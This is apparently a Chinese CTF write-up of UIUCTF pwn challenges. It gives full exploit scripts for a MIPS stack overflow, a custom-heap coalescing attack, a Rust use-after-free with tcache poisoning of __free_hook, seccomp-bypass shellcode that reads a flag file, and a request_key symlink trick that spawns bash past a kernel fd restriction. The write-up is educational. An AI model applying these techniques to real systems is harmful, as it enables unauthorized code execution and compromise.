我和 L3ak 一起参加了今年的 UIUCTF ,最终我们排在第7。我只做了 Pwn 题,我们队最终也 AK 了 Pwn,MinatoTW is goat🐐!
本文是比赛中所有 Pwn 题(除了一道 Pwn+Rev 以外)的 Writeup。
Engllish Writeup
Backup Power 概况
Can you turn on the backup generator for the SIGPwny Transit Authority?
75 solves
这道题是 MinatoTW 解出来的,我只是在赛后复现并撰写 wp。
checksec
结果:
1 2 3 4 5 6 7 Arch: mips-32-big RELRO: Partial RELRO Stack: Canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments
这是一道 mips 架构的栈溢出题。我用qemu-mips
去运行,用gdb-multiarch
调试。
题目分析 程序的主要逻辑是:
非developer
(developer
?develper
?devolper
? 一个程序出现三种拼写 XD)用户只被允许执行shutdown
和shutup
命令,没有可利用之处。
登录为developer
用户,command
会被设置为todo
。调用develper_power_management_portal()
函数后回到对命令进行判断的流程。其中,develper_power_management_portal()
函数中调用gets()
函数,存在栈溢出。
1 2 3 4 5 6 7 8 9 void __cdecl develper_power_management_portal (int cfi) { char buffer[4 ]; int vars20; gets(buffer); if ( vars20 != cfi ) _stack_chk_fail_local(); }
如果command
为system
,则程序会拼接栈上变量作为system()
函数的参数并执行:
1 2 3 4 5 6 if ( !strcmp (command, system_str) ){ sprintf (command_buf, "%s %s %s %s" , arg1, arg2, arg3, arg4); system(command_buf); return 0 ; }
在调用develper_power_management_portal()
函数前后,程序试图通过寄存器来备份栈上变量的值:
但是在develper_power_management_portal()
函数中,程序又在调用gets()
函数之后将寄存器的值设置为栈上的值:
因此没有起到备份的效果,我们仍然可以通过栈溢出到0x24+var_sC($sp), 0x24+var_s10($sp), ...
来设置s4, s5, s6, s7
从而设置arg1, arg2, arg3, arg4
。
至此,我们的解题路线可以归纳为:利用栈溢出设置command
为system
,并设置arg1
为sh;\x00
,使得程序执行system("sh")
。值得注意的是程序开启了cfi
校验,即在develper_power_management_portal()
函数返回时,会检查其返回地址有没有被修改。在这题中我们不需要劫持控制流,因此将返回地址保持原状即可。
调试 使用 qemu-mips
启动程序并等待gdb
远程调试:
1 qemu-mips -g 1234 ./backup-power
在另一个终端中启动gdb-multiarch
并远程调试:
1 2 3 4 5 gdb-multiarch ./backup-power pwndbg> set arch mips pwndbg> set endian big pwndbg> target remote :1234
可以通过 gdb 调试来定位我们需要修改的变量在栈上的位置:
1 2 pwndbg> b *0x400ee8 pwndbg> c
输入用户名devolper
,再输入aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa
让gets()
接收,就可以看到:
将command
覆盖为system
,arg1
覆盖为sh;\x00
,栈上包含程序地址处尽量保持原样即可。
值得注意的两个地方:
返回地址:上图中第二个0x400b0c
。由于开启cfi
,返回地址必须保持原样。
gp
寄存器:上图中0x4aa30
会被存入gp
寄存器,之后会用于计算函数偏移量,因此不能修改。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *exe = ELF("./backup-power" ) context.binary = exe def conn (): if args.LOCAL: r = process([exe.path]) if args.DEBUG: gdb.attach(r) else : r = remote("backup-power.chal.uiuc.tf" , 1337 , ssl=True ) return r def main (): r = conn() r.sendlineafter(b"Username: " , b'devolper' ) payload = b"A" * 24 + b"sh;\x00" .ljust(12 , b"A" ) + p32(0xdeadbeef ) * 2 + p32(0x400b0c ) sp = ( p32(0 )*6 + p32(0x004AA330 ) + p32(0 )*5 + b"devolper" .ljust(100 , b"\x00" ) + b"devolper" .ljust(100 , b"\x00" ) + b"system\x00" ) payload += sp r.sendline(payload) r.interactive() if __name__ == "__main__" : main()
pwnymalloc 概况
i’m tired of hearing all your complaints. pwnymalloc never complains.
65 Solves
这道题是赛中和队友共同解出来的。
题目分析 这是一道堆题,但是堆管理器是自定义的。
程序的基本功能为:
提交申诉(申请可用大小为0x48的堆块,输入内容,堆块内容被清零,堆块被释放)
查看申诉(摆设,没有实际实现)
申请退款(申请可用大小为0x88的堆块,用于存放refund_request
结构体,不能被直接free
查询退款状态(状态为REFUND_APPROVED
时会打印 flag )
refund_request
结构体的定义如下:
1 2 3 4 5 typedef struct refund_request { refund_status_t status; int amount; char reason[0x80 ]; } refund_request_t ;
申请退款函数会将status
设置为0即REFUND_DENIED
,另一个状态是1即REFUND_APPROVED
,amount
和reason
都由用户输入。没有任何常规功能能直接将结构体的status
设置为REFUND_APPROVED
,因此需要考虑利用自定义的堆管理器来完成对该字段的修改。
由于堆块需要0x10字节对齐,因此堆块的结构可能存在下面两种情况:
当堆块可用大小为0x…8字节时,用户可用写到btag
所在的8字节。正常情况下只有被free
的堆块才会设置btag
,这也是问题所在: 题目中的堆块可用大小都是0x…8字节,而在这种情况下,用户可以控制btag
的值。
堆管理器中空闲块合并的代码对我来说比较有趣(根据unsorted bin
的经验)。简单来说,在free
一个堆块或者拆分一个大的堆块时,会调用coalesce()
合并空闲块;该函数会检查前一个和后一个堆块的大小、状态来决定是否合并。
以合并前向块为例,有如下调用链
coalesce()->prev_chunk()->get_prev_size()
,get_prev_size()
函数实现如下:
1 2 3 4 static size_t get_prev_size (chunk_ptr block) { btag_t *prev_footer = (btag_t *) ((char *) block - BTAG_SIZE); return prev_footer->size; }
其中btag
如前文所示位于每个堆块的最后8字节,堆管理器通过该值判断前向空闲堆块的大小。如果前向堆块未被free
,正常情况下get_prev_size
应当返回0。但如果我们将btag
值设置为某一个正数,堆管理器会根据这个值去定位前向堆块的size | status
,进一步判断其是否被free
。通过构造 payload,我们完全可以修改某个堆块的btag
,并在目标size | status
处填充恰当的值,诱导堆管理器对前向的某一片连续的内存空间进行合并,不论这片内存空间处于什么样的使用状态。
攻击思路 梳理一下我们的攻击思路:
通过申请退款功能申请2个堆块(大小都为0x90)
将第二个堆块作为目标(其退款状态会被改写)
在第二个堆块的最后8字节写一个比0x90大的size
作为btag
(如0xb0)
在第一个堆块中间相应的位置(chunk2_addr + 0x90 - 0xb0
)写上对应的size | status
(如0xb0 | 0
,表示被free) 此时堆块状态:
提交申诉,触发空闲块合并,会合并出一个大小为0xb0+0x50
的空闲堆块,起始地址为chunk2_addr + 0x90 - 0xb0
再调用申请退款函数,此时申请到的堆块起始地址为chunk2_addr + 0x90 - 0xb0
,大小为0x90
这个堆块横跨第一个堆块和第二个堆块,填充合适的payload
可以将第二个堆块中的refund_request->status
写为1即REFUND_APPROVED
调用检查退款状态函数,获得 flag
注意事项 我们伪造了一个大小为0xb0的空闲堆块,要注意在合并空闲块时会调用free_list_remove(prev_block)
,因此要让该假堆块的next
和prev
指针为0(或合法地址),否则会出现内存访问的错误。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *exe = ELF("./chal" ) context.binary = exe def conn (): global r if args.LOCAL: r = process([exe.path]) if args.DEBUG: gdb.attach(r) else : r = remote("pwnymalloc.chal.uiuc.tf" , 1337 , ssl=True ) def complain (data ): r.sendlineafter(b"> " , b"1" ) r.sendafter(b":" , data) def refund (data ): r.sendlineafter(b"> " , b"3" ) r.sendlineafter(b"refunded:\n" , b"0" ) r.sendafter(b"request:\n" , data) def win (index ): r.sendlineafter(b"> " , b"4" ) r.sendlineafter(b"ID:\n" , str (index).encode()) def main (): conn() payload = b'\x00' *0x60 + p64(0xb0 ) +p64(0 )+p64(0 ) + b'\n' refund(payload) payload = b'\x00' *0x78 + p64(0xb0 )[:-1 ] refund(payload) payload = b'BeaCox never complains\n' complain(payload) payload = p64(0 )+p64(0 )+p64(0x91 )+p32(1 )+p32(0xdeadbeef ) + b'\n' refund(payload) gdb.attach(r) win(1 ) r.interactive() if __name__ == "__main__" : main()
Rusty Pointers 概况
The government banned C and C++ in federal software, so we had to rewrite our train schedule management program in Rust. Thanks Joe Biden. Because of government compliance, the program is completely memory safe.
36 Solves
这道题是赛中和队友共同解出来的。
题目分析 我从来没有写过一行 Rust 代码,但是对其内存安全特性却是早有耳闻,但……真是这样吗?
程序主要功能如下:
Create a Rule or Note
Delete a Rule or Note
Read a Rule or Note
Edit a Rule or Note
Make a Law
Exit
观察源代码可以看到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 const LEN: usize = 64 ;const LEN2: usize = 2000 ;const LEN3: usize = 80 ;#[inline(never)] fn get_rule () -> &'static mut [u8 ; LEN] { let mut buffer = Box::new ([0 ; LEN]); return get_ptr (&mut buffer); } #[inline(never)] fn get_law () -> &'static mut [u8 ; LEN2] { let mut buffer = Box::new ([0 ; LEN2]); let mut _buffer2 = Box::new ([0 ; 16 ]); return get_ptr (&mut buffer); } #[inline(never)] fn get_note () -> Box <[u8 ; LEN]>{ return Box::new ([0 ; LEN]) }
只有get_note()
函数没有调用get_ptr
,那么必有蹊跷,观察get_ptr
函数:
1 2 3 4 5 6 7 8 9 10 11 12 const S: &&() = &&();#[inline(never)] fn get_ptr <'a , 'b , T: ?Sized >(x: &'a mut T) -> &'b mut T { fn ident <'a , 'b , T: ?Sized >( _val_a: &'a &'b (), val_b: &'b mut T, ) -> &'a mut T { val_b } let f : fn (_, &'a mut T) -> &'b mut T = ident; f (S, x) }
看上去非常难懂,但是 chatGPT 告诉我该函数的作用是延长变量的生命周期。可以在 gdb 中观察get_rule
和get_note
的区别:
Create a Note 然后 Edit a Note 写入aaaa
Create a Rule 然后 Edit a Rule 写入bbbb
查看堆
显然,二者都会申请大小为0x50的堆块,但是get_ptr()
函数会将这个堆块free
掉,并允许我们继续使用这个堆块,也就是 UAF(Use After Free)。
上文提到,get_law()
也调用了get_ptr()
,不同的是它的大小比较大:
1 2 3 const LEN2: usize = 2000 ;let mut buffer = Box::new ([0 ; LEN2]);return get_ptr (&mut buffer);
因此将其free
后会进入 unsorted bin,其fd
和bk
指针将会指向libc
中的main_arena
,造成libc leak
:
攻击思路 接下来我们就需要考虑如何利用手上的 UAF 了。
libc
的版本为2.31,malloc_hook
和free_hook
可以利用,且tcache
没有safe link
机制。
由于拥有 Write After Free 和 Read After Free,我们可以用Tcache Poisoning 方法得到 Arbitrary Write 和 Arbitrary Read。
我们可以利用 Arbitrary Write 将free_hook
写为system
函数地址,然后在一个堆块(note)开头填入/bin/sh\x00
并将其free
,这样就会触发system('/bin/sh')
。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 from pwn import *exe = ELF("./rusty_ptrs" ) libc = ELF("libc-2.31.so" ) ld = ELF("ld-2.31.so" ) context.binary = exe def conn (): global r if args.LOCAL: r = process([exe.path]) if args.DEBUG: gdb.attach(r) else : r = remote("rustyptrs.chal.uiuc.tf" , 1337 , ssl=True ) def create_rule (): r.sendlineafter(b"> " , b"1" ) r.sendlineafter(b"> " , b"1" ) def create_note (): r.sendlineafter(b"> " , b"1" ) r.sendlineafter(b"> " , b"2" ) def delete_rule (index ): r.sendlineafter(b"> " , b"2" ) r.sendlineafter(b"> " , b"1" ) r.sendlineafter(b"> " , str (index).encode()) def delete_note (index ): r.sendlineafter(b"> " , b"2" ) r.sendlineafter(b"> " , b"2" ) r.sendlineafter(b"> " , str (index).encode()) def read_rule (index ): r.sendlineafter(b"> " , b"3" ) r.sendlineafter(b"> " , b"1" ) r.sendlineafter(b"> " , str (index).encode()) def read_note (index ): r.sendlineafter(b"> " , b"3" ) r.sendlineafter(b"> " , b"2" ) r.sendlineafter(b"> " , str (index).encode()) def edit_rule (index, content ): r.sendlineafter(b"> " , b"4" ) r.sendlineafter(b"> " , b"1" ) r.sendlineafter(b"> " , str (index).encode()) r.sendlineafter(b"> " , content) def edit_note (index, content ): r.sendlineafter(b"> " , b"4" ) r.sendlineafter(b"> " , b"2" ) r.sendlineafter(b"> " , str (index).encode()) r.sendlineafter(b"> " , content) def make_law (): r.sendlineafter(b"> " , b"5" ) def main (): conn() make_law() libc_leak = int (r.recvuntil(b"," , drop=True ), 16 ) info(f"[L3ak] libc leak: {hex (libc_leak)} " ) libc.address = libc_leak - 0x1ecbe0 info(f"[C4lc] libc base: {hex (libc.address)} " ) free_hook_addr = libc.symbols['__free_hook' ] info(f"[C4lc] free hook addr: {hex (free_hook_addr)} " ) system_addr = libc.sym['system' ] info(f"[C4lc] system addr: {hex (system_addr)} " ) create_note() create_note() create_note() create_note() delete_note(3 ) delete_note(2 ) delete_note(1 ) delete_note(0 ) create_rule() edit_rule(0 , p64(free_hook_addr)) create_note() create_note() payload = p64(system_addr) edit_note(1 , payload) edit_note(0 , b"/bin/sh\x00" ) delete_note(0 ) r.interactive() if __name__ == "__main__" : main()
Syscalls 概况
You can’t escape this fortress of security.
143 Solves
这道题是赛中独立解出来的。
题目分析 这道题非常简单,程序会将我们的输入作为 shellcode 直接执行,但是通过seccomp
对系统调用做了限制。用seccomp-tools 能清晰地看到seccomp
的规则:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 seccomp-tools dump ./syscalls The flag is in a file named flag.txt located in the same directory as this binary. That's all the information I can give you. line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x16 0xc000003e if (A != ARCH_X86_64) goto 0024 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x13 0xffffffff if (A != 0xffffffff) goto 0024 0005: 0x15 0x12 0x00 0x00000000 if (A == read) goto 0024 0006: 0x15 0x11 0x00 0x00000001 if (A == write) goto 0024 0007: 0x15 0x10 0x00 0x00000002 if (A == open) goto 0024 0008: 0x15 0x0f 0x00 0x00000011 if (A == pread64) goto 0024 0009: 0x15 0x0e 0x00 0x00000013 if (A == readv) goto 0024 0010: 0x15 0x0d 0x00 0x00000028 if (A == sendfile) goto 0024 0011: 0x15 0x0c 0x00 0x00000039 if (A == fork) goto 0024 0012: 0x15 0x0b 0x00 0x0000003b if (A == execve) goto 0024 0013: 0x15 0x0a 0x00 0x00000113 if (A == splice) goto 0024 0014: 0x15 0x09 0x00 0x00000127 if (A == preadv) goto 0024 0015: 0x15 0x08 0x00 0x00000128 if (A == pwritev) goto 0024 0016: 0x15 0x07 0x00 0x00000142 if (A == execveat) goto 0024 0017: 0x15 0x00 0x05 0x00000014 if (A != writev) goto 0023 0018: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # writev(fd, vec, vlen) 0019: 0x25 0x03 0x00 0x00000000 if (A > 0x0) goto 0023 0020: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0024 0021: 0x20 0x00 0x00 0x00000010 A = fd # writev(fd, vec, vlen) 0022: 0x25 0x00 0x01 0x000003e8 if (A <= 0x3e8) goto 0024 0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0024: 0x06 0x00 0x00 0x00000000 return KILL
可以看到execve
和execveat
都被禁用,因此不能直接弹shell
。open
, read
, write
也被禁用。
攻击思路 可以在syscall.sh 搜索open
/read
/write
找到可替代的系统调用:open
可以用openat
替代,read
可以用preadv2
替代,write
可以用pwritev2
替代,仍然是用orw
(open, read, write)的方式读./flag.txt
。用法可以通过搜索man <syscall name>
找到:
openat()
用法
1 2 int openat (int dirfd, const char *pathname, int flags) ;int openat (int dirfd, const char *pathname, int flags, mode_t mode) ;
If pathname is relative and dirfd is the special value AT_FDCWD , then pathname is interpreted relative to the current working directory of the calling process
openat(AT_FDCWD, './flag.txt', 0)
代表以只读模式打开当前工作目录下的./flag.txt
文件。
preadv2()
和pwritev2()
用法
1 2 ssize_t preadv2 (int fd, const struct iovec *iov, int iovcnt, off_t offset, int flags) ;ssize_t pwritev2 (int fd, const struct iovec *iov, int iovcnt, off_t offset, int flags) ;
对不熟悉的系统调用/函数一般可以从互联网上找例子来理解:
1 2 3 4 5 6 7 8 9 10 11 char *str0 = "hello " ;char *str1 = "world\n" ;ssize_t nwritten;struct iovec iov [2];iov[0 ].iov_base = str0; iov[0 ].iov_len = strlen (str0); iov[1 ].iov_base = str1; iov[1 ].iov_len = strlen (str1); nwritten = writev(STDOUT_FILENO, iov, 2 );
即iov
是一个结构体数组,每个结构体前8字节为要读/写的地址,后8字节为要读/写的长度;iovcnt
用来表示数组中元素数量。
Unlike preadv() and pwritev(), if the offset argument is -1, then the current file offset is used and updated.
The flags argument contains a bitwise OR of zero or more of the following flags …
offset
设置为1其实是让系统替我们管理偏移量,flags
通常都是设置为0即可。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from pwn import *exe = ELF("./syscalls_patched" ) context.binary = exe def conn (): if args.LOCAL: r = process([exe.path]) if args.DEBUG: gdb.attach(r) else : r = remote("syscalls.chal.uiuc.tf" , 1337 , ssl=True ) return r def main (): r = conn() shellcode = asm( """ mov rax, 257 mov rdi, -100 mov rsi, 0x7478 push rsi mov rsi, 0x742e67616c662f2e push rsi mov rsi, rsp xor rdx, rdx syscall mov rdi, rax mov rax, 327 mov r12, rsp add r12, 0x50 mov r11, 0x50 push r11 push r12 mov rsi, rsp mov rdx, 1 mov r10, -1 mov r8, 0 syscall mov rax, 328 mov rdi, 1 syscall """ ) print (shellcode) r.sendline(shellcode) r.interactive() if __name__ == "__main__" : main()
我知道可以用shellcraft
来构造 shellcode,但我就爱自己写 XD。
Syscalls 2 概况
I made it harder ;) Hint: It’s not a bug, it’s a feature!
8 Solves
exp 修改自 robbert1978。
题目分析 这道题对内核做了patch:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 From 1470120abb93fb80ee0ac52feab611418ec957d7 Mon Sep 17 00:00:00 2001 From: YiFei Zhu <zhuyifei@google.com> Date: Wed, 26 Jun 2024 19:39:11 -0700 Subject: [PATCH] prctl: Add a way to prohibit file descriptor creation They are avoided by enforcing a failure when the kernel tries to allocate a free fd. To be extra extra safe, attempting to install an fd after the point of no return will panic. Child processes inherit the restriction just like seccomp. Signed-off-by: YiFei Zhu <zhuyifei@google.com> fs/file.c | 7 +++++++ include/linux/sched.h | 5 +++++ include/uapi/linux/prctl.h | 2 ++ kernel/fork.c | 3 +++ kernel/sys.c | 3 +++ 5 files changed, 20 insertions(+) @@ -503,6 +503,9 @@ static int alloc_fd(unsigned start, unsigned end, unsigned flags) int error; struct fdtable *fdt; + if (task_uiuctf_no_fds_allowed(current)) + return -EPERM; + spin_lock(&files->file_lock); repeat: fdt = files_fdtable(files); @@ -604,6 +607,10 @@ void fd_install(unsigned int fd, struct file *file) struct files_struct *files = current->files; struct fdtable *fdt; + if (task_uiuctf_no_fds_allowed(current)) + panic("Installing fds is actually not allowed and " + "I'm not trying to hide a bypass"); + if (WARN_ON_ONCE(unlikely(file->f_mode & FMODE_BACKING))) return; @@ -1698,6 +1698,8 @@ static __always_inline bool is_percpu_thread(void) #define PFA_SPEC_IB_FORCE_DISABLE 6 /* Indirect branch speculation permanently restricted */ #define PFA_SPEC_SSB_NOEXEC 7 /* Speculative Store Bypass clear on execve() */ +#define PFA_UIUCTF_NO_FDS_ALLOWED 10 + #define TASK_PFA_TEST(name, func) \ static inline bool task_##func(struct task_struct *p) \ { return test_bit(PFA_##name, &p->atomic_flags); } @@ -1739,6 +1741,9 @@ TASK_PFA_CLEAR(SPEC_IB_DISABLE, spec_ib_disable) TASK_PFA_TEST(SPEC_IB_FORCE_DISABLE, spec_ib_force_disable) TASK_PFA_SET(SPEC_IB_FORCE_DISABLE, spec_ib_force_disable) +TASK_PFA_TEST(UIUCTF_NO_FDS_ALLOWED, uiuctf_no_fds_allowed) +TASK_PFA_SET(UIUCTF_NO_FDS_ALLOWED, uiuctf_no_fds_allowed) + static inline void current_restore_flags(unsigned long orig_flags, unsigned long flags) { @@ -306,4 +306,6 @@ struct prctl_mm_map { # define PR_RISCV_V_VSTATE_CTRL_NEXT_MASK 0xc # define PR_RISCV_V_VSTATE_CTRL_MASK 0x1f +#define PRCTL_UIUCTF_NO_FDS_ALLOWED 100 + #endif /* _LINUX_PRCTL_H */ @@ -2559,6 +2559,9 @@ __latent_entropy struct task_struct *copy_process( */ copy_seccomp(p); + if (task_uiuctf_no_fds_allowed(current)) + task_set_uiuctf_no_fds_allowed(p); + init_task_pid_links(p); if (likely(p->pid)) { ptrace_init_task(p, (clone_flags & CLONE_PTRACE) || trace); @@ -2760,6 +2760,9 @@ SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3, case PR_RISCV_V_GET_CONTROL: error = RISCV_V_GET_CONTROL(); break; + case PRCTL_UIUCTF_NO_FDS_ALLOWED: + task_set_uiuctf_no_fds_allowed(current); + break; default: error = -EINVAL; break; -- 2.45.1
题目自定义了一个系统调用,程序调用prctl(PRCTL_UIUCTF_NO_FDS_ALLOWED)
后,会阻止alloc_fd()
和fd_install()
正常运行,并且在对copy_process()
的修改中使得fork
的子程序会继承这一属性。因此预期解是使用io_uring
来读 flag:
io_uring
本身不需要一个新的 fd
io_uring
管理了自己的 fd 表,不会触发alloc_fd
和fd_install
攻击思路 但是我更喜欢非预期解:
首先需要理解request_key
系统调用。参考manpage ,用法如下:
1 2 3 key_serial_t request_key (const char *type, const char *description, const char *_Nullable callout_info, key_serial_t dest_keyring) ;
If the kernel cannot find a key matching type and description, and callout is not NULL, then the kernel attempts to invoke a user-space program to instantiate a key with the given type and description. In this case, the following steps are performed: … (3) The kernel creates a process that executes a user-space service such as request-key(8) with a new session keyring that contains a link to the authorization key, V. This program is supplied with the following command-line arguments:
[0] The string “/sbin/request-key”.
也就是说,当我们指定的type
和description
能让内核无法找到对应的key
,它就会运行/sbin/request-key
非预期解的思路是:
将/sbin/request_key
设为/init
的符号链接
将/chal
设置为/bin/bash
的符号链接
使用系统调用request_key
,并传入内核无法识别的type
和description
request_key
将调用/sbin/rquest-key->/init
,新的/init
不会有no_fds
的过滤
/init
执行exec /chal->/bin/bash
,弹出 shell
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *context.arch = "amd64" shellcode = asm(""" lea rdi, [rip + offset init] lea rsi, [rip + offset request_key] mov eax, 0x58 syscall lea rdi, [rip + offset chal] mov eax, 0x57 syscall lea rdi, [rip + offset bash] lea rsi, [rip + offset chal] mov eax, 0x58 syscall lea rdi, [rip + offset a] lea rsi, [rip + offset b] lea rdx, [rip + offset c] mov r10, 0xfffffffd mov rax, 0xf9 syscall ret a: .asciz "user" b: .asciz "BeaCox:nonsense" c: .asciz "payload:data" init: .asciz "/init" chal: .asciz "/chal" request_key: .asciz "/sbin/request-key" bash: .asciz "/bin/bash" """ )print (shellcode.hex ())
条评论